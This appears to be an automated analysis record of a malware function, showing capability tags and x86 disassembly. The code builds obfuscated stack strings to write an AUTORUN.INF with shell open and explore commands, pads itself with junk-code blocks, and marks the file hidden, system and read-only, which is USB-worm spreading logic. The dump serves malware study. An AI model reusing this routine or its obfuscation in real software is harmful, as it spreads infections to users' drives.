Function at 0x4027c9
Capabilities:
Contain obfuscated stackstrings
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa4
push ebx
push esi
push edi
mov byte [ebp - 0x64], 0x41
mov byte [ebp - 0x63], 0x55
mov byte [ebp - 0x62], 0x54
mov byte [ebp - 0x61], 0x4f
mov byte [ebp - 0x60], 0x52
mov byte [ebp - 0x5f], 0x55
mov byte [ebp - 0x5e], 0x4e
mov byte [ebp - 0x5d], 0x2e
mov byte [ebp - 0x5c], 0x49
mov byte [ebp - 0x5b], 0x4e
mov byte [ebp - 0x5a], 0x46
and byte [ebp - 0x59], 0
mov byte [ebp - 0x58], 0x41
mov byte [ebp - 0x57], 0x75
mov byte [ebp - 0x56], 0x74
mov byte [ebp - 0x55], 0x6f
mov byte [ebp - 0x54], 0x52
mov byte [ebp - 0x53], 0x75
mov byte [ebp - 0x52], 0x6e
and byte [ebp - 0x51], 0
mov byte [ebp - 0x30], 0xb4
mov byte [ebp - 0x2f], 0xf2
mov byte [ebp - 0x2e], 0xbf
mov byte [ebp - 0x2d], 0xaa
mov byte [ebp - 0x2c], 0x28
mov byte [ebp - 0x2b], 0x26
mov byte [ebp - 0x2a], 0x4f
mov byte [ebp - 0x29], 0x29
and byte [ebp - 0x28], 0
mov byte [ebp - 0x24], 0xd7
mov byte [ebp - 0x23], 0xca
mov byte [ebp - 0x22], 0xd4
mov byte [ebp - 0x21], 0xb4
mov byte [ebp - 0x20], 0xb9
mov byte [ebp - 0x1f], 0xdc
mov byte [ebp - 0x1e], 0xc0
mov byte [ebp - 0x1d], 0xed
mov byte [ebp - 0x1c], 0xc6
mov byte [ebp - 0x1b], 0xf7
mov byte [ebp - 0x1a], 0x28
mov byte [ebp - 0x19], 0x26
mov byte [ebp - 0x18], 0x58
mov byte [ebp - 0x17], 0x29
and byte [ebp - 0x16], 0
mov byte [ebp - 0x50], 0x73
mov byte [ebp - 0x4f], 0x68
mov byte [ebp - 0x4e], 0x65
mov byte [ebp - 0x4d], 0x6c
mov byte [ebp - 0x4c], 0x6c
mov byte [ebp - 0x4b], 0x5c
mov byte [ebp - 0x4a], 0x6f
mov byte [ebp - 0x49], 0x70
mov byte [ebp - 0x48], 0x65
mov byte [ebp - 0x47], 0x6e
and byte [ebp - 0x46], 0
mov byte [ebp - 0x44], 0x73
mov byte [ebp - 0x43], 0x68
mov byte [ebp - 0x42], 0x65
mov byte [ebp - 0x41], 0x6c
mov byte [ebp - 0x40], 0x6c
mov byte [ebp - 0x3f], 0x5c
mov byte [ebp - 0x3e], 0x6f
mov byte [ebp - 0x3d], 0x70
mov byte [ebp - 0x3c], 0x65
mov byte [ebp - 0x3b], 0x6e
mov byte [ebp - 0x3a], 0x5c
mov byte [ebp - 0x39], 0x43
mov byte [ebp - 0x38], 0x6f
mov byte [ebp - 0x37], 0x6d
mov byte [ebp - 0x36], 0x6d
mov byte [ebp - 0x35], 0x61
mov byte [ebp - 0x34], 0x6e
mov byte [ebp - 0x33], 0x64
and byte [ebp - 0x32], 0
xor eax, eax
lea edi, [ebp - 0x31]
stosb byte es:[edi], al
mov byte [ebp - 0x14], 0x73
mov byte [ebp - 0x13], 0x68
mov byte [ebp - 0x12], 0x65
mov byte [ebp - 0x11], 0x6c
mov byte [ebp - 0x10], 0x6c
mov byte [ebp - 0xf], 0x5c
mov byte [ebp - 0xe], 0x6f
mov byte [ebp - 0xd], 0x70
mov byte [ebp - 0xc], 0x65
mov byte [ebp - 0xb], 0x6e
mov byte [ebp - 0xa], 0x5c
mov byte [ebp - 9], 0x44
mov byte [ebp - 8], 0x65
mov byte [ebp - 7], 0x66
mov byte [ebp - 6], 0x61
mov byte [ebp - 5], 0x75
mov byte [ebp - 4], 0x6c
mov byte [ebp - 3], 0x74
and byte [ebp - 2], 0
xor eax, eax
lea edi, [ebp - 1]
stosb byte es:[edi], al
mov byte [ebp - 0x74], 0x73
mov byte [ebp - 0x73], 0x68
mov byte [ebp - 0x72], 0x65
mov byte [ebp - 0x71], 0x6c
mov byte [ebp - 0x70], 0x6c
mov byte [ebp - 0x6f], 0x5c
mov byte [ebp - 0x6e], 0x65
mov byte [ebp - 0x6d], 0x78
mov byte [ebp - 0x6c], 0x70
mov byte [ebp - 0x6b], 0x6c
mov byte [ebp - 0x6a], 0x6f
mov byte [ebp - 0x69], 0x72
mov byte [ebp - 0x68], 0x65
and byte [ebp - 0x67], 0
mov byte [ebp - 0x8c], 0x73
mov byte [ebp - 0x8b], 0x68
mov byte [ebp - 0x8a], 0x65
mov byte [ebp - 0x89], 0x6c
mov byte [ebp - 0x88], 0x6c
mov byte [ebp - 0x87], 0x5c
mov byte [ebp - 0x86], 0x65
mov byte [ebp - 0x85], 0x78
mov byte [ebp - 0x84], 0x70
mov byte [ebp - 0x83], 0x6c
mov byte [ebp - 0x82], 0x6f
mov byte [ebp - 0x81], 0x72
mov byte [ebp - 0x80], 0x65
mov byte [ebp - 0x7f], 0x5c
mov byte [ebp - 0x7e], 0x43
mov byte [ebp - 0x7d], 0x6f
mov byte [ebp - 0x7c], 0x6d
mov byte [ebp - 0x7b], 0x6d
mov byte [ebp - 0x7a], 0x61
mov byte [ebp - 0x79], 0x6e
mov byte [ebp - 0x78], 0x64
and byte [ebp - 0x77], 0
xor eax, eax
lea edi, [ebp - 0x76]
stosb byte es:[edi], al
lea eax, [ebp - 0x64]
push eax
push 0x4011dc
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0xeeba10cd
push 1
call fcn.004021a0
mov dword [ebp - 0x90], eax
push 0x4011dc
push 0x401bf8
push 0x401c44
lea eax, [ebp - 0x58]
push eax
call dword [ebp - 0x90]
push 0xeeba10cd
push 1
call fcn.004021a0
mov dword [ebp - 0x94], eax
push 0x4011dc
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x58]
push eax
call dword [ebp - 0x94]
push 0xeeba10cd
push 1
call fcn.004021a0
mov dword [ebp - 0x98], eax
push 0x4011dc
push 0x401bf8
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x58]
push eax
call dword [ebp - 0x98]
push 0xeeba10cd
push 1
call fcn.004021a0
mov dword [ebp - 0x9c], eax
push 0x4011dc
push 0x401c40
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x58]
push eax
call dword [ebp - 0x9c]
nop
pushal
jmp 0x402ad0
imul eax, esi, 0x12b
xadd ecx, eax
sub eax, esi
xchg ecx, edx
add ecx, esi
sbb eax, 0x43211a2f
mov bl, cl
nop
imul eax, ecx, 0xff5e3306
add al, 0xc6
mov eax, ebx
mov ebx, 0x41
cmp ebx, 0
je 0x402ad9
popal
push 0xeeba10cd
push 1
call fcn.004021a0
mov dword [ebp - 0xa0], eax
push 0x4011dc
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x58]
push eax
call dword [ebp - 0xa0]
push 0xeeba10cd
push 1
call fcn.004021a0
mov dword [ebp - 0xa4], eax
push 0x4011dc
push 0x401bf8
lea eax, [ebp - 0x8c]
push eax
lea eax, [ebp - 0x58]
push eax
call dword [ebp - 0xa4]
nop
pushal
jmp 0x402b60
imul eax, esi, 0x12b
xadd ecx, eax
sub eax, esi
xchg ecx, edx
add ecx, esi
sbb eax, 0x43211a2f
mov bl, cl
nop
imul eax, ecx, 0xff5e3306
add al, 0xc6
mov eax, ebx
mov ebx, 0x41
cmp ebx, 0
je 0x402b69
popal
push 7
push 0x4011dc
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
pop edi
pop esi
pop ebx
leave
ret